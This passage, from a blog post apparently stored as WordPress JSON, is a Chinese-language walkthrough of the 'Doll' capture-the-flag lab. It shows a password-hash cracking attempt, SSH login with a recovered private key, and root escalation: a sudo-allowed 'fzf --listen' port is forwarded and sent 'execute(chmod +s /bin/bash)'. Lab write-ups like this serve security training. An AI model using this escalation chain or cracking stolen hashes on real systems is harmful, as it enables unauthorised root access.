\n.........\nbela:$6$azVVFjn.mkvh.lhA$yAXPBGOZDXRdDBmn3obtzhUzxwfDD7u3YIcixohpKzTGpJS0Oeu7UVoguhmwg4DHNM8K5z7Tn93BBaDadM\/A5.:19472:0:99999:7.........\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll\/etc]\n\u2514\u2500$ cd ..              \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll]\n\u2514\u2500$ cd home  \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll\/home]\n\u2514\u2500$ ls -la\ntotal 12\ndrwxr-xr-x 3 kali kali 4096 Apr 25  2023 .\ndrwxr-xr-x 5 kali kali 4096 Apr 23 03:24 ..\ndrwxr-xr-x 3 kali kali 4096 Apr 25  2023 bela\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll\/home]\n\u2514\u2500$ cd bela           \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll\/home\/bela]\n\u2514\u2500$ ls -la\ntotal 16\ndrwxr-xr-x 3 kali kali 4096 Apr 25  2023 .\ndrwxr-xr-x 3 kali kali 4096 Apr 25  2023 ..\n-rw------- 1 kali kali   57 Apr 25  2023 .ash_history\ndrwxr-xr-x 2 kali kali 4096 Apr 25  2023 .ssh\n-rwxr-xr-x 1 kali kali    0 Dec 31  1969 .wh..wh..opq\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll\/home\/bela]\n\u2514\u2500$ cd .ssh\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/\u2026\/Doll\/home\/bela\/.ssh]\n\u2514\u2500$ ls -la\ntotal 12\ndrwxr-xr-x 2 kali kali 4096 Apr 25  2023 .\ndrwxr-xr-x 3 kali kali 4096 Apr 25  2023 ..\n-rw-r--r-- 1 kali kali 2635 Apr 25  2023 id_rsa\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/\u2026\/Doll\/home\/bela\/.ssh]\n\u2514\u2500$ cd ..              \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll\/home\/bela]\n\u2514\u2500$ cat .wh..wh..opq \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll\/home\/bela]\n\u2514\u2500$ cd ..\/..\/root      \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll\/root]\n\u2514\u2500$ ls -la\ntotal 12\ndrwx------ 2 kali kali 4096 Apr 25  2023 .\ndrwxr-xr-x 5 kali kali 4096 Apr 23 03:24 ..\n-rw------- 1 kali kali   49 Apr 25  2023 .ash_history\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll\/root]\n\u2514\u2500$ cat .ash_history \nadduser bela\ncd \/home\nls\ncd bela\nls\nsu bela\nexit<\/code><\/pre>\n<p>\u867d\u7136\u6709\u79c1\u94a5\u4e86\uff0c\u4f46\u662f\u6211\u4eec\u8fd8\u662f\u5c1d\u8bd5\u8dd1\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll\/root]\n\u2514\u2500$ john pass.txt -w=\/usr\/share\/wordlists\/rockyou.txt \nWarning: detected hash type &quot;sha512crypt&quot;, but the string is also recognized as &quot;HMAC-SHA256&quot;\nUse the &quot;--format=HMAC-SHA256&quot; option to force loading these as that type instead\nWarning: detected hash type &quot;sha512crypt&quot;, but the string is also recognized as &quot;HMAC-SHA512&quot;\nUse the &quot;--format=HMAC-SHA512&quot; option to force loading these as that type instead\nUsing default input encoding: UTF-8\nLoaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256\/256 AVX2 4x])\nCost 1 (iteration count) is 5000 for all loaded hashes\nWill run 2 OpenMP threads\nPress &#039;q&#039; or Ctrl-C to abort, almost any other key for status\n0g 0:00:01:32 1.96% (ETA: 04:45:29) 0g\/s 3550p\/s 3550c\/s 3550C\/s wereber..wales06\nSession aborted<\/code><\/pre>\n<p>\u8dd1\u4e0d\u51fa\u6765\u7b97\u4e86\uff0c\u79c1\u94a5\u8fdb\u884c\u767b\u5f55\uff01\u53d1\u73b0\u79c1\u94a5\u9700\u8981\u5bc6\u7801\uff0c\u5c1d\u8bd5\u4e4b\u524d\u627e\u5230\u7684\u90a3\u4e2a<code>passwd=devilcollectsit<\/code>\uff1a<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/\u2026\/Doll\/home\/bela\/.ssh]\n\u2514\u2500$ chmod 600 id_rsa \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/\u2026\/Doll\/home\/bela\/.ssh]\n\u2514\u2500$ ssh bela@192.168.0.104 -i id_rsa     \n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\nIT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!\nSomeone could be eavesdropping on you right now (man-in-the-middle attack)!\nIt is also possible that a host key has just been changed.\nThe fingerprint for the ED25519 key sent by the remote host is\nSHA256:HWsmY0zUYHV1M+0fOxSA4gbKv2xMIbJUGpnQgV+Tuvg.\nPlease contact your system administrator.\nAdd correct host key in \/home\/kali\/.ssh\/known_hosts to get rid of this message.\nOffending ECDSA key in \/home\/kali\/.ssh\/known_hosts:49\n  remove with:\n  ssh-keygen -f &#039;\/home\/kali\/.ssh\/known_hosts&#039; -R &#039;192.168.0.104&#039;\nHost key for 192.168.0.104 has changed and you have requested strict checking.\nHost key verification failed.\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/\u2026\/Doll\/home\/bela\/.ssh]\n\u2514\u2500$ ssh-keygen -f &#039;\/home\/kali\/.ssh\/known_hosts&#039; -R &#039;192.168.0.104&#039;\n# Host 192.168.0.104 found: line 47\n# Host 192.168.0.104 found: line 48\n# Host 192.168.0.104 found: line 49\n\/home\/kali\/.ssh\/known_hosts updated.\nOriginal contents retained as \/home\/kali\/.ssh\/known_hosts.old\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/\u2026\/Doll\/home\/bela\/.ssh]\n\u2514\u2500$ ssh bela@192.168.0.104 -i id_rsa                              \nThe authenticity of host &#039;192.168.0.104 (192.168.0.104)&#039; can&#039;t be established.\nED25519 key fingerprint is SHA256:HWsmY0zUYHV1M+0fOxSA4gbKv2xMIbJUGpnQgV+Tuvg.\nThis key is not known by any other names.\nAre you sure you want to continue connecting (yes\/no\/[fingerprint])? yes\nWarning: Permanently added &#039;192.168.0.104&#039; (ED25519) to the list of known hosts.\nEnter passphrase for key &#039;id_rsa&#039;: \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/\u2026\/Doll\/home\/bela\/.ssh]\n\u2514\u2500$ ssh bela@192.168.0.104 -i id_rsa\nEnter passphrase for key &#039;id_rsa&#039;: \nLinux doll 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64\n\nThe programs included with the Debian GNU\/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: Tue Apr 25 10:35:13 2023 from 192.168.0.100\nbela@doll:~$ whoami;id\nbela\nuid=1000(bela) gid=1000(bela) grupos=1000(bela),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)<\/code><\/pre>\n<h2>\u63d0\u6743<\/h2>\n<h3>\u4fe1\u606f\u641c\u96c6<\/h3>\n<pre><code class=\"language-bash\">bela@doll:~$ sudo -l\nMatching Defaults entries for bela on doll:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser bela may run the following commands on doll:\n    (ALL) NOPASSWD: \/usr\/bin\/fzf --listen\\=1337<\/code><\/pre>\n<blockquote>\n<p><code>\/usr\/bin\/fzf<\/code> \u901a\u5e38\u6307\u7684\u662f <code>fzf<\/code>\uff08Fuzzy Finder\uff09\u7684\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\u8def\u5f84\u3002<code>fzf<\/code> \u662f\u4e00\u4e2a\u547d\u4ee4\u884c\u4e0b\u7684\u6a21\u7cca\u67e5\u627e\u5de5\u5177\uff0c\u5b83\u53ef\u4ee5\u5e2e\u52a9\u7528\u6237\u5feb\u901f\u5730\u4ece\u5927\u91cf\u7684\u6587\u672c\u884c\u6216\u6587\u4ef6\u4e2d\u8fdb\u884c\u6a21\u7cca\u5339\u914d\u548c\u9009\u62e9\u3002<\/p>\n<p><code>\/usr\/bin\/fzf --listen=1337<\/code> \u547d\u4ee4\u662f <code>fzf<\/code> \u7684\u4e00\u4e2a\u7279\u6b8a\u7528\u6cd5\uff0c\u5b83\u542f\u52a8\u4e86 <code>fzf<\/code> \u7684 TCP \u670d\u52a1\u5668\u6a21\u5f0f\u3002\u5728\u8fd9\u79cd\u6a21\u5f0f\u4e0b\uff0c<code>fzf<\/code> \u4f1a\u76d1\u542c\u6307\u5b9a\u7684 TCP \u7aef\u53e3\uff08\u5728\u8fd9\u4e2a\u4f8b\u5b50\u4e2d\u662f <code>1337<\/code>\uff09\uff0c\u7b49\u5f85\u6765\u81ea\u5176\u4ed6\u8fdb\u7a0b\u7684\u67e5\u8be2\uff0c\u5e76\u8fd4\u56de\u5339\u914d\u7684\u7ed3\u679c\u3002<\/p>\n<p>\u5177\u4f53\u6765\u8bf4\uff0c<code>--listen<\/code> \u53c2\u6570\u5141\u8bb8 <code>fzf<\/code> \u901a\u8fc7 TCP \u5957\u63a5\u5b57\u63a5\u6536\u8f93\u5165\uff0c\u5e76\u5728\u9009\u62e9\u5b8c\u6210\u540e\u901a\u8fc7\u5957\u63a5\u5b57\u53d1\u9001\u8f93\u51fa\u3002\u8fd9\u79cd\u6a21\u5f0f\u5bf9\u4e8e\u96c6\u6210 <code>fzf<\/code> \u5230\u5176\u4ed6\u7a0b\u5e8f\u6216\u811a\u672c\u4e2d\u7279\u522b\u6709\u7528\uff0c\u5c24\u5176\u662f\u5f53\u8fd9\u4e9b\u7a0b\u5e8f\u6216\u811a\u672c\u9700\u8981\u5728\u540e\u53f0\u8fd0\u884c\u6216\u4e0e\u5176\u4ed6\u8fdb\u7a0b\u901a\u4fe1\u65f6\u3002<\/p>\n<\/blockquote>\n<p>\u7ba1\u4ed6\u7684\uff0c\u5148\u6267\u884c\u4e00\u4e0b\uff0c\u770b\u770b\u548b\u7528\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404231623153.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404231623153.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240423154722988\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>fzf\u6267\u884c\u76d1\u542c\u547d\u4ee4<\/h3>\n<p>\u770b\u4e00\u4e0b\u4f7f\u7528\u65b9\u6cd5\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404231623154.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404231623154.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240423155231308\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u76d1\u542c\u4ee5\u540e\u53ef\u4ee5\u4f7f\u7528POST\u65b9\u6cd5\u8fdb\u884c\u53d1\u9001\u547d\u4ee4\uff0c\u4f46\u662f\u9776\u673a\u5e76\u672a\u5f00\u653e\u76f8\u5173\u7aef\u53e3\uff0c\u5229\u7528ssh\u8fdb\u884c\u4ee3\u7406\u5230\u672c\u5730\uff01<\/p>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~]\n\u2514\u2500$ curl -X POST 0.0.0.0:1337 -d &#039;execute(chmod +s \/bin\/bash)&#039;\ncurl: (56) Recv failure: Connection reset by peer\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~]\n\u2514\u2500$ curl -X POST 0.0.0.0:1337 -d &#039;execute(chmod +s \/bin\/bash)&#039;<\/code><\/pre>\n<pre><code class=\"language-bash\">\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll]\n\u2514\u2500$ ssh -i id_rsa bela@192.168.0.104 -L 1337:127.0.0.1:1337\nEnter passphrase for key &#039;id_rsa&#039;: \nLinux doll 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64\n\nThe programs included with the Debian GNU\/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in \/usr\/share\/doc\/*\/copyright.\n\nDebian GNU\/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nLast login: Tue Apr 23 10:17:16 2024 from 192.168.0.143\nbela@doll:~$ ls -l \/bin\/bash\n-rwxr-xr-x 1 root root 1234376 mar 27  2022 \/bin\/bash\nbela@doll:~$ channel 3: open failed: connect failed: Connection refused\n^C\nbela@doll:~$ ls -l \/bin\/bash\n-rwxr-xr-x 1 root root 1234376 mar 27  2022 \/bin\/bash\nbela@doll:~$ sudo -l\nMatching Defaults entries for bela on doll:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser bela may run the following commands on doll:\n    (ALL) NOPASSWD: \/usr\/bin\/fzf --listen\\=1337\nbela@doll:~$ sudo \/usr\/bin\/fzf --listen\\=1337\nbela@doll:~$ ls -l \/bin\/bash\n-rwsr-sr-x 1 root root 1234376 mar 27  2022 \/bin\/bash\nbela@doll:~$ bash -p\nbash-5.1# cd \/root\nbash-5.1# ls -la\ntotal 32\ndrwx------  4 root root 4096 abr 25  2023 .\ndrwxr-xr-x 18 root root 4096 abr 25  2023 ..\nlrwxrwxrwx  1 root root    9 abr 25  2023 .bash_history -&gt; \/dev\/null\n-rw-r--r--  1 root root  613 abr 25  2023 .bashrc\ndrwx------  3 root root 4096 abr 25  2023 .docker\n-rw-r--r--  1 root root  299 abr 25  2023 .fzf.bash\ndrwxr-xr-x  3 root root 4096 abr 25  2023 .local\n-rw-r--r--  1 root root  161 jul  9  2019 .profile\n-rw-------  1 root root   19 abr 25  2023 root.txt\nbash-5.1# cat root.txt \nxwHTSMZljFuJERHmMV<\/code><\/pre>\n<p>\u62ff\u5230flag\u3002\u3002\u3002\u3002\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Doll \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Doll] \u2514\u2500$ rustsca [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-611","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/611","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=611"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/611\/revisions"}],"predecessor-version":[{"id":612,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/611\/revisions\/612"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=611"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=611"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=611"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}